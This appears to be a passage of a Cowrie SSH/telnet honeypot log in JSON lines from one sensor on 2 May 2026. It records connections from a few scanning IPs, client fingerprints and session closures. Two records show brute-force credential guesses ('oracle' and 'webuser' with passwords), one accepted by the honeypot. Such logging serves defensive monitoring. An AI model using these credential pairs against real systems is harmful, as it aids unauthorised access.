{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:37:30.381292Z","src_ip":"205.254.166.101","session":"121839cfb864","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:37:30.592015Z","src_ip":"205.254.166.101","session":"121839cfb864","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:37:31.462043Z","src_ip":"205.254.166.101","session":"121839cfb864","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:37:31.674250Z","src_ip":"205.254.166.101","session":"02872b80b49e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:37:31.680243Z","src_ip":"205.254.166.101","session":"121839cfb864","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":105.73324847221375,"message":"Connection lost after 105 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:37:34.602172Z","src_ip":"134.209.8.29","session":"b36356e4722e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00198149681091,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:37:35.205670Z","src_ip":"134.209.8.29","session":"654019e6ce74","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":42354,"dst_ip":"159.203.135.109","dst_port":23,"session":"92985be82142","protocol":"telnet","message":"New connection: 134.209.8.29:42354 (159.203.135.109:23) [session: 92985be82142]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:37:43.498164Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":43418,"dst_ip":"10.17.0.5","dst_port":23,"session":"1750e7ec861c","protocol":"telnet","message":"New connection: 38.54.119.93:43418 (10.17.0.5:23) [session: 1750e7ec861c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:37:47.327110Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":42364,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b844849058c","protocol":"telnet","message":"New connection: 134.209.8.29:42364 (159.203.135.109:23) [session: 2b844849058c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:37:50.107014Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":42380,"dst_ip":"159.203.135.109","dst_port":23,"session":"f95bdda14936","protocol":"telnet","message":"New connection: 134.209.8.29:42380 (159.203.135.109:23) [session: f95bdda14936]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:37:50.538874Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":56880,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a8c696a7fce","protocol":"telnet","message":"New connection: 134.209.8.29:56880 (159.203.135.109:23) [session: 8a8c696a7fce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:37:53.064569Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":46572,"dst_ip":"10.17.0.5","dst_port":23,"session":"84d856de212e","protocol":"telnet","message":"New connection: 38.54.119.93:46572 (10.17.0.5:23) [session: 84d856de212e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:37:53.221308Z"}
{"eventid":"cowrie.session.closed","duration":10.636314392089844,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:37:54.134384Z","src_ip":"134.209.8.29","session":"92985be82142","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.683632612228394,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:37:54.313912Z","src_ip":"134.209.8.29","session":"9b951bb91625","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.383597135543823,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:37:55.490473Z","src_ip":"134.209.8.29","session":"2b844849058c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.9092295169830322,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:37:56.130412Z","src_ip":"38.54.119.93","session":"84d856de212e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.71269750595093,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:38:04.740752Z","src_ip":"134.209.8.29","session":"984fad8a1326","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":49174,"dst_ip":"159.203.135.109","dst_port":23,"session":"50d422a8217d","protocol":"telnet","message":"New connection: 134.209.8.29:49174 (159.203.135.109:23) [session: 50d422a8217d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:38:08.598763Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":41622,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ab633e73f81","protocol":"telnet","message":"New connection: 134.209.8.29:41622 (159.203.135.109:23) [session: 0ab633e73f81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:38:11.613799Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":41626,"dst_ip":"159.203.135.109","dst_port":23,"session":"12179dd1f9ba","protocol":"telnet","message":"New connection: 134.209.8.29:41626 (159.203.135.109:23) [session: 12179dd1f9ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:38:18.220471Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":53854,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf51e63912a0","protocol":"telnet","message":"New connection: 134.209.8.29:53854 (159.203.135.109:23) [session: bf51e63912a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:38:25.081440Z"}
{"eventid":"cowrie.session.closed","duration":8.617198705673218,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:38:26.837309Z","src_ip":"134.209.8.29","session":"12179dd1f9ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":63.64414072036743,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:38:28.000717Z","src_ip":"134.209.8.29","session":"00bde289417b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":53858,"dst_ip":"159.203.135.109","dst_port":23,"session":"0e99264d27af","protocol":"telnet","message":"New connection: 134.209.8.29:53858 (159.203.135.109:23) [session: 0e99264d27af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:38:29.833960Z"}
{"eventid":"cowrie.session.closed","duration":7.26728630065918,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:38:32.348531Z","src_ip":"134.209.8.29","session":"bf51e63912a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":45496,"dst_ip":"159.203.135.109","dst_port":23,"session":"2685d0ac0d3d","protocol":"telnet","message":"New connection: 134.209.8.29:45496 (159.203.135.109:23) [session: 2685d0ac0d3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:38:36.601714Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":45508,"dst_ip":"159.203.135.109","dst_port":23,"session":"1cca3e0d76ab","protocol":"telnet","message":"New connection: 134.209.8.29:45508 (159.203.135.109:23) [session: 1cca3e0d76ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:38:36.961601Z"}
{"eventid":"cowrie.session.closed","duration":45.867321491241455,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:38:38.931762Z","src_ip":"134.209.8.29","session":"8a8c696a7fce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.91986322402954,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:38:40.246873Z","src_ip":"38.54.119.93","session":"1750e7ec861c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.79.207.181","src_port":42169,"dst_ip":"159.203.135.109","dst_port":22,"session":"987cbba0b6e0","protocol":"ssh","message":"New connection: 45.79.207.181:42169 (159.203.135.109:22) [session: 987cbba0b6e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:38:40.424240Z"}
{"eventid":"cowrie.session.connect","src_ip":"205.254.166.101","src_port":40456,"dst_ip":"159.203.135.109","dst_port":22,"session":"f7515f996f16","protocol":"ssh","message":"New connection: 205.254.166.101:40456 (159.203.135.109:22) [session: f7515f996f16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:38:41.737904Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:38:41.743815Z","src_ip":"205.254.166.101","session":"f7515f996f16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:38:41.949558Z","src_ip":"205.254.166.101","session":"f7515f996f16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webuser","password":"webuser123","message":"login attempt [webuser/webuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:38:42.807829Z","src_ip":"205.254.166.101","session":"f7515f996f16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.53866410255432,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:38:43.077417Z","src_ip":"134.209.8.29","session":"f95bdda14936","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:38:43.187083Z","src_ip":"45.79.207.181","session":"987cbba0b6e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:38:44.018696Z","src_ip":"205.254.166.101","session":"f7515f996f16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":8.075279474258423,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:38:44.676892Z","src_ip":"134.209.8.29","session":"2685d0ac0d3d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":36972,"dst_ip":"159.203.135.109","dst_port":23,"session":"a7389fb9ed59","protocol":"telnet","message":"New connection: 134.209.8.29:36972 (159.203.135.109:23) [session: a7389fb9ed59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:38:46.031689Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":36980,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ab715ed9b40","protocol":"telnet","message":"New connection: 134.209.8.29:36980 (159.203.135.109:23) [session: 2ab715ed9b40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:38:47.121476Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":36996,"dst_ip":"159.203.135.109","dst_port":23,"session":"fac1c0826ba5","protocol":"telnet","message":"New connection: 134.209.8.29:36996 (159.203.135.109:23) [session: fac1c0826ba5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:38:49.790081Z"}
{"eventid":"cowrie.session.closed","duration":7.063849449157715,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:38:53.095411Z","src_ip":"134.209.8.29","session":"a7389fb9ed59","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":36770,"dst_ip":"10.17.0.5","dst_port":22,"session":"32bf9ac45883","protocol":"ssh","message":"New connection: 176.65.132.254:36770 (10.17.0.5:22) [session: 32bf9ac45883]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:38:55.873657Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:38:55.881339Z","src_ip":"176.65.132.254","session":"32bf9ac45883","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.33752775192261,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:38:55.951207Z","src_ip":"134.209.8.29","session":"0ab633e73f81","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:38:55.963404Z","src_ip":"176.65.132.254","session":"32bf9ac45883","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00256705284119,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:38:57.231189Z","src_ip":"38.54.119.93","session":"4587bc5ba86d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"8.0","message":"Connection lost after 8.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:39:03.874019Z","src_ip":"176.65.132.254","session":"32bf9ac45883","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":39462,"dst_ip":"159.203.135.109","dst_port":23,"session":"417e3468e617","protocol":"telnet","message":"New connection: 134.209.8.29:39462 (159.203.135.109:23) [session: 417e3468e617]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:39:05.604312Z"}
{"eventid":"cowrie.session.closed","duration":58.09317755699158,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:39:06.691820Z","src_ip":"134.209.8.29","session":"50d422a8217d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":39464,"dst_ip":"159.203.135.109","dst_port":23,"session":"34555955e8e0","protocol":"telnet","message":"New connection: 134.209.8.29:39464 (159.203.135.109:23) [session: 34555955e8e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:39:10.038518Z"}
{"eventid":"cowrie.session.closed","duration":45.10224628448486,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:39:22.063710Z","src_ip":"134.209.8.29","session":"1cca3e0d76ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.70567560195923,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:39:22.539521Z","src_ip":"134.209.8.29","session":"0e99264d27af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":43146,"dst_ip":"159.203.135.109","dst_port":23,"session":"8da574d7a8da","protocol":"telnet","message":"New connection: 134.209.8.29:43146 (159.203.135.109:23) [session: 8da574d7a8da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:39:24.004618Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":57050,"dst_ip":"159.203.135.109","dst_port":23,"session":"42d9c2a62f96","protocol":"telnet","message":"New connection: 134.209.8.29:57050 (159.203.135.109:23) [session: 42d9c2a62f96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:39:35.844054Z"}
{"eventid":"cowrie.session.closed","duration":0.0067636966705322266,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:39:35.850693Z","src_ip":"134.209.8.29","session":"42d9c2a62f96","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":42792,"dst_ip":"159.203.135.109","dst_port":23,"session":"d12d7f70baf3","protocol":"telnet","message":"New connection: 134.209.8.29:42792 (159.203.135.109:23) [session: d12d7f70baf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:39:40.605931Z"}
{"eventid":"cowrie.session.closed","duration":51.30236887931824,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:39:41.092378Z","src_ip":"134.209.8.29","session":"fac1c0826ba5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":56102,"dst_ip":"159.203.135.109","dst_port":23,"session":"7755bfbe2f54","protocol":"telnet","message":"New connection: 134.209.8.29:56102 (159.203.135.109:23) [session: 7755bfbe2f54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:39:44.945070Z"}
{"eventid":"cowrie.session.closed","duration":6.019827365875244,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:39:46.625637Z","src_ip":"134.209.8.29","session":"d12d7f70baf3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"205.254.166.101","src_port":61558,"dst_ip":"159.203.135.109","dst_port":22,"session":"f287edc58cb2","protocol":"ssh","message":"New connection: 205.254.166.101:61558 (159.203.135.109:22) [session: f287edc58cb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:39:48.677350Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:39:48.682969Z","src_ip":"205.254.166.101","session":"f287edc58cb2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-s